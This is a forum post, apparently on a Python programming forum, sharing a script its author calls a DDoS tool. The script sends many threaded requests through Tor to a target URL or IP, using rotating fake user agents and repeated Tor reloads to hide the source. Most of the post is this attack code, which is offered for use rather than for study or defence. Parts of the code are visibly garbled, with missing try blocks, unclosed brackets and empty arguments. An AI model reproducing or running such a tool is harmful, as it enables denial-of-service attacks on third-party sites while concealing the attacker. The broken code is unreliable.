Bottom Page

Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
 A torsocks DDOS tool for Debian Linux Distros: python + wget + tor
The repository can be found here. There will be several requests per IP address... as far as I can tell this is because of the threading lock around self.reload (that is used to generate a new tor IP address). This script requires a Debian Linux distro, tor/torsocks (running as a service), and also netstat for a pre-run check that tor is listening on

One odd thing that I can't figure out... Originally I was joining all the threads, but I noticed that the main thread would hang for a few seconds after running. However even without the join the program still seems to wait a few seconds for the all the threads to finish before stopping (even though the wget requests have already been completed).

# rootVIII
from threading import Thread, Lock
from argparse import ArgumentParser
from os import popen
from subprocess import call, Popen, PIPE
from random import randint
from sys import exit
# run with sudo privileges:
# sudo python -t -n 1000
# Tested on Ubuntu 16. Intended for Debian Systems
# Tor must be installed and running as a service
# on localhost at port 9050
# This program relies on the Torsocks shell utility
# requirements: Python 3, Tor/Torsocks, netstat

class WgetTor:
    def __init__(self, target_address, number):
        self.target_address = target_address
        self.number_requests = int(number)
        self.reload = 'service tor reload'
        self.wget = "torsocks wget -q --spider --user-agent='%s' %s"
        self.lock = Lock()
        self.user_agents = self.set_user_agents()

    # replace or add additional user agents here
    def set_user_agents():
        return [
            "Opera/9.80 (S60; SymbOS; Opera Mobi/498; U; sv)",
            "Wget/1.11.4 (Red Hat modified)",
            "GSiteCrawler/v1.06 rev. 251 (",
            "Mozilla/2.02 [fr] (WinNT; I)",
            "WeatherReport/1.2.2 CFNetwork/485.12.7 Darwin/10.4.0",
            "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)",
            "Cyberdog/2.0 (Macintosh; 68k)",
            "MJ12bot/v1.0.8 (",
            "TurnitinBot/1.5 (",
            "Mozilla/5.0 (compatible; news bot /2.1)",
            "admantx-sap/2.4 (+",
            "curl/7.19.6 (i686-pc-cygwin)",
            "Mozilla/4.0 (MSIE 6.0; Windows NT 5.1; Search)",
            "Yahoo Pipes 1.0",
            " []",
            "librabot/1.0 (+",
            "msnbot-Products/1.0 (+",
            "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

    def whoami():
        who = ['whoami']
        return 'root' in Popen(who, stdout=PIPE).communicate()[0].decode()

    def check_listening():
        for line in popen('netstat -na --tcp'):
            if '' in line:
                return True
        return False

    def reload_tor(self):
        with self.lock:
                call(self.reload, shell=True)
            except Exception:

    def service_status(self):
        for line in popen('service --status-all'):
            yield line.split()

    def check_services(self):
        for i in self.service_status():
            if '+' in i and 'tor' in i:
                return True
        return False

    def check_config(self):
        if not self.whoami():
            error = "Please run with root privileges"
        if not self.check_listening() or not self.check_services():
            error = 'Please ensure the Tor service is started '
            error += 'and listening on socket'

    def get_agent(self):
        return self.user_agents[randint(0, len(self.user_agents) - 1)]

    def request(self):
        cmd = self.wget % (self.get_agent(), self.target_address)
            Popen(cmd, stdout=PIPE, shell=True)
        except Exception:

    def run(self):
        for get in range(self.number_requests):
            t = Thread(target=self.request)

if __name__ == '__main__':
    description = 'Usage: python -t <target URL or IP> '
    description += '-n <number of requests to make on target>'
    parser = ArgumentParser(description=description)
    h = ('target URL or IP', 'number of requests')
    parser.add_argument('-t', '--target', required=True, help=h[0])
    parser.add_argument('-n', '--number', required=True, help=h[1])
    args_in = parser.parse_args()
    wgettor = WgetTor(, args_in.number)
    print('executing ->')


Top Page

Possibly Related Threads...
Thread Author Replies Views Last Post
  The Python Tkinter Youtube Audio Downloader for Linux rootVIII 0 390 Dec-19-2018, 11:33 PM
Last Post: rootVIII
  Getting wanted data from the 'top' command (Linux) rootVIII 7 700 Nov-19-2018, 09:41 PM
Last Post: DeaD_EyE
  Find a local free port to start a server in linux Gribouillis 0 367 Oct-14-2018, 08:00 PM
Last Post: Gribouillis
  Linux user folder names (if translated) Axel_Erfurt 0 395 Sep-23-2018, 05:55 PM
Last Post: Axel_Erfurt
  Rarity: CLI personal accounting tool in Python3 soleighlfred 2 590 Sep-21-2018, 12:21 PM
Last Post: soleighlfred
  a class that gets available, running, and stopped services (Ubuntu/Debian) rootVIII 5 712 Aug-26-2018, 03:15 PM
Last Post: rootVIII
  pyGle - a tool for scrapping the web using Google Javinator9889 1 542 Aug-22-2018, 01:56 PM
Last Post: Larz60+
  pyGle - a tool for scrapping the web using Google Javinator9889 0 401 Aug-21-2018, 03:17 PM
Last Post: Javinator9889 - process trace back for linux Skaperen 3 790 Feb-06-2018, 08:56 AM
Last Post: Gribouillis
  Watch files and automatically run a script in Linux Gribouillis 3 1,099 Jan-23-2018, 06:50 PM
Last Post: nilamo

Forum Jump:

Users browsing this thread: 1 Guest(s)